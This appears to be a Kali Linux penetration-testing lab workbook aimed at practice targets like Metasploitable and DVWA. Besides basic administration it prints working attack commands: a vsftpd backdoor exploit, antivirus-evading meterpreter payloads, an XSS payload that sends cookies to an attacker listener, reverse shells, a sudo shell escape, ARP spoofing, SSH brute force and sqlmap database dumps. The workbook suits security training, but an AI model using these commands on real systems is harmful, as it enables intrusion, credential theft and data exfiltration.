KALI LINUX LAB EXERCISES

LAB 01 – Kali Linux System Basics & Apt Package Management

🎯 Objective

Learn how to update Kali, install/remove packages, check services, and view logs.

Step-by-Step Instructions

1. Check OS information
cat /etc/os-release
uname -a

2. Update package list
sudo apt update

3. Upgrade system
sudo apt full-upgrade -y

4. Install a sample tool (nmap)
sudo apt install nmap -y

5. Verify installation
nmap --version

6. Remove a package
sudo apt remove nmap -y

7. Clean unused dependencies
sudo apt autoremove -y
sudo apt clean

8. Check running services
systemctl list-units --type=service

9. Enable/Disable services

```
sudo systemctl enable ssh
sudo systemctl start ssh
sudo systemctl status ssh
```

10. View logs

```
journalctl -u ssh
```

LAB 02 – Bash Scripting & Automation

🎯 Objective

Write a script that scans a subnet and logs all live hosts.

✅ Step-by-Step Instructions

1. Create a new script

```
nano scan.sh
```

2. Add the following content

```
#!/bin/bash
# Simple subnet scanner

echo "Enter subnet (example: 192.168.1): "
read subnet

for host in $(seq 1 254); do
    ping -c 1 $subnet.$host &>/dev/null && echo "$subnet.$host is UP" | tee -a
scan_results.txt
done
```

3. Save and exit

```
CTRL + O → ENTER → CTRL + X
```

4. Make script executable
chmod +x scan.sh

5. Run the script
./scan.sh

6. View output file
cat scan_results.txt

LAB 03 – Password, Shadow & Hash Cracking

🎯 Objective

Learn Linux authentication files & crack hashes using John the Ripper.

✅ Step-by-Step Instructions

1. View passwd file
cat /etc/passwd

2. View shadow file

(Requires root)

sudo cat /etc/shadow

3. Create a sample password hash
echo "vaithee123" | openssl passwd -6 -stdin

4. Save hash for cracking
echo "user1:6xyz$HASHHERE" > hash.txt

5. Run John
john hash.txt

6. Show cracked passwords
john --show hash.txt

LAB 04 – DNS Enumeration

🎯 Objective

Identify DNS records, subdomains, and attempt zone transfer.

✅ Step-by-Step Instructions

1. Basic DNS lookup
dig google.com

2. Query all DNS records
dig ANY google.com

3. Attempt zone transfer (usually blocked)
dig AXFR @ns1.example.com example.com

4. Enumerate subdomains using `dnsenum`
dnsenum example.com

5. Use fierce
fierce --domain example.com

LAB 05 – Metasploit Framework Basics

🎯 Objective

Perform scanning and exploit a vulnerable VM (Metasploitable).

Requirement:

Start Metasploitable2 in VirtualBox/VMware.

✅ Step-by-Step Instructions

1. Start Metasploit
msfconsole

2. Search for a module
search vsftpd

3. Use the module
use exploit/unix/ftp/vsftpd_234_backdoor

4. Show required options
show options

5. Set target host
set RHOSTS 192.168.1.10

6. Run exploitation
exploit

7. Check if shell is gained
whoami
uname -a

8. Background session
background

9. Save workspace
workspace -a metasploitable

✅ LAB 06 – File Analysis & Digital Forensics (Basic Forensics)

🎯 Objective

Identify hidden information, recover deleted files, and analyze suspicious artifacts.

✅ Step-by-Step Instructions

1. Download a sample suspicious file
wget https://example.com/suspicious.jpg

(Or use any file you already have.

---

2. Extract embedded metadata

exiftool suspicious.jpg

---

3. View file contents in strings

strings suspicious.jpg | less

Look for suspicious URLs, credentials, or commands.

---

4. Identify file type

file suspicious.jpg

---

5. Recover deleted files from an image

Download sample disk image (from VulnHub or provided offline):

foremost -i disk.img -o recovered/

---

6. Analyze recovered files

ls -R recovered/

You now understand basics of forensics triage.

✅ LAB 07 – Password Cracking with Hashcat

🎯 Objective

Crack password hashes using GPU/CPU with rockyou wordlist.

✅ Step-by-Step Instructions

1. Prepare hash file

echo -n "password123" | sha1sum | awk '{print $1}' > hash.txt

---

2. Locate rockyou wordlist

ls /usr/share/wordlists/

If compressed:

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

---

3. Run hashcat

hashcat -m 100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

- `-m 100` → SHA1
- `-a 0` → Wordlist attack

---

4. Show cracked password

hashcat --show -m 100 hash.txt

LAB 08 – Web Recon & Vulnerability Analysis

🎯 Objective

Perform full reconnaissance on a website (directories, tech stack, scanning).

✅ Step-by-Step Instructions

1. Identify technologies

whatweb http://example.com

---

2. Directory brute-force

gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt

---

3. Vulnerability scan with nikto

nikto -h http://example.com

---

4. Enumerate server info

curl -I http://example.com

---

5. Screenshot website from terminal

cutycapt --url=http://example.com --out=site.png

LAB 09 – Payload Obfuscation & AV Evasion

🎯 Objective

Generate encoded payloads using msfvenom & veil to evade simple antivirus.

⚠️ Requirement

Use a test VM, NEVER use in production/live environment.

✅ Step-by-Step Instructions

1. Create encoded reverse shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOURIP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe

- `-e` → encoder
- `-i 5` → 5 iterations

---

2. Start listener

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST YOURIP
set LPORT 4444
run

---

3. Install Veil

sudo apt install veil
sudo veil

---

4. Generate payload with Veil

Inside Veil:

use python/meterpreter/rev_tcp
set LHOST YOURIP

set LPORT 4444
generate

LAB 10 – XSS Attack Demonstration (DVWA Lab)

🎯 Objective

Exploit reflected XSS & steal cookies using a basic JS payload.

⚠️ Requirement

Run DVWA in your browser.

✅ Step-by-Step Instructions

1. Open DVWA

Browse:

http://127.0.0.1/DVWA

---

2. Set security level to low

`DVWA Security → Low`

---

3. Test simple XSS

In input box:

<script>alert('Hacked')</script>

---

4. Try cookie stealing payload

Set up a simple HTTP listener:

sudo nc -lvnp 8080

Then enter this in DVWA:

<script>new Image().src="http://YOURIP:8080/?c="+document.cookie;</script>

You will capture the victim's cookie in the netcat window.

✅ LAB 11 – Privilege Escalation on Linux

🎯 Objective

Use automated scripts to find privilege escalation paths on a Linux target.

⚠️ Requirement

A compromised VM shell.

✅ Step-by-Step Instructions

1. Upload Linux Exploit Suggester

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh

---

2. Run it

./linux-exploit-suggester.sh

---

3. Check for SUID binaries

find / -perm -4000 2>/dev/null

---

4. Check sudo privileges

sudo -l

---

5. Exploit vulnerable binaries

Example:

sudo find . -exec /bin/sh \;

LAB 12 – Pivoting & Lateral Movement (SSH + ProxyChains)

🎯 Objective

Access internal networks by routing traffic through a compromised host.

⚠️ Requirement

A target machine offering SSH.

✅ Step-by-Step Instructions

1. Edit proxychains config

sudo nano /etc/proxychains.conf

Uncomment:

dynamic_chain
socks4 127.0.0.1 9050

---

2. Start SSH dynamic port forwarding

ssh -D 9050 root@victim-ip

---

3. Run nmap through pivot

proxychains nmap -sT 192.168.10.5

Now you are scanning the internal network via pivoting.

LAB 13 – MITM Attack (ARP Spoofing)

🎯 Objective

Intercept traffic between victim & router.

⚠️ Use only on your controlled lab network.

✅ Step-by-Step Instructions

1. Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

---

2. Start ARP spoofing

Terminal 1:

arpspoof -t victim-ip router-ip

Terminal 2:

arpspoof -t router-ip victim-ip

---

3. Capture traffic

wireshark

Watch passwords transmitted over HTTP.

LAB 14 – Deep Vulnerability Scanning with Nmap

🎯 Objective

Perform full scans on a target.

✅ Step-by-Step Instructions

1. Basic scan
nmap target-ip

2. Service version detection

nmap -sV target-ip

3. OS detection

nmap -O target-ip

4. Aggressive scan

nmap -A target-ip

5. Run NSE scripts

nmap --script vuln target-ip

LAB 15 – OSINT Recon (Open Source Intelligence)

🎯 Objective

Gather public data about a domain or organization.

✅ Step-by-Step Instructions

1. Gather emails
theHarvester -d example.com -b all

2. Recon-ng framework
recon-ng
marketplace install recon/domains-contacts/whois_pocs
modules load recon/domains-contacts/whois_pocs
options set SOURCE example.com
run

3. Find GitHub leaks
git-hound -d example.com

LAB 16 – SSH Brute-Force Attack

🎯 Objective

Use Hydra to brute-force SSH credentials.

⚠️ Only use on your own VMs.

✅ Step-by-Step Instructions

1. Run brute-force
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10

2. If successful, login
ssh root@192.168.1.10

LAB 17 – Malware Analysis (Static & Dynamic)

🎯 Objective

Analyze suspicious binaries in a controlled environment.

⚠️ Use sample harmless malware from “theZoo” or “test virus samples”.

✅ Step-by-Step Instructions

1. Inspect binary
file malware.bin
strings malware.bin | less

2. Trace system calls

strace ./malware.bin

3. Trace library calls

ltrace ./malware.bin

4. Debug binary

gdb malware.bin

✅ LAB 18 – Reverse Shell Creation & Listener

🎯 Objective

Create a reverse shell and capture connection.

⚠️ For controlled testing only.

✅ Step-by-Step Instructions

1. Create shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=YOURIP LPORT=4444 -f elf -o shell.elf

2. Start netcat listener

nc -lvnp 4444

3. Execute shell on victim

./shell.elf

You now have a reverse shell.

✅ LAB 19 – SQL Injection with SQLMap (DVWA/Mutillidae)

🎯 Objective

Automate SQL Injection and dump database contents.

⚠️ Use DVWA or Mutillidae.

✅ Step-by-Step Instructions

1. Identify vulnerable URL

Example:

http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#

2. Run sqlmap

sqlmap -u "URL" --dbs

3. Dump tables

sqlmap -u "URL" -D dvwa -T users --dump

LAB 20 – Traffic Capture & Analysis (Wireshark + tcpdump)

🎯 Objective

Capture packets, filter, and extract credentials.

✅ Step-by-Step Instructions

1. Capture packets on interface
tcpdump -i eth0 -w capture.pcap

Stop with CTRL + C.

2. Open in Wireshark

File → Open → capture.pcap

3. Apply filters

- For HTTP passwords:

http.request.method == "POST"

- For DNS queries:dns
- For ICMP (ping): icmp

4. Extract files from PCAP

Wireshark:

File → Export Objects → HTTP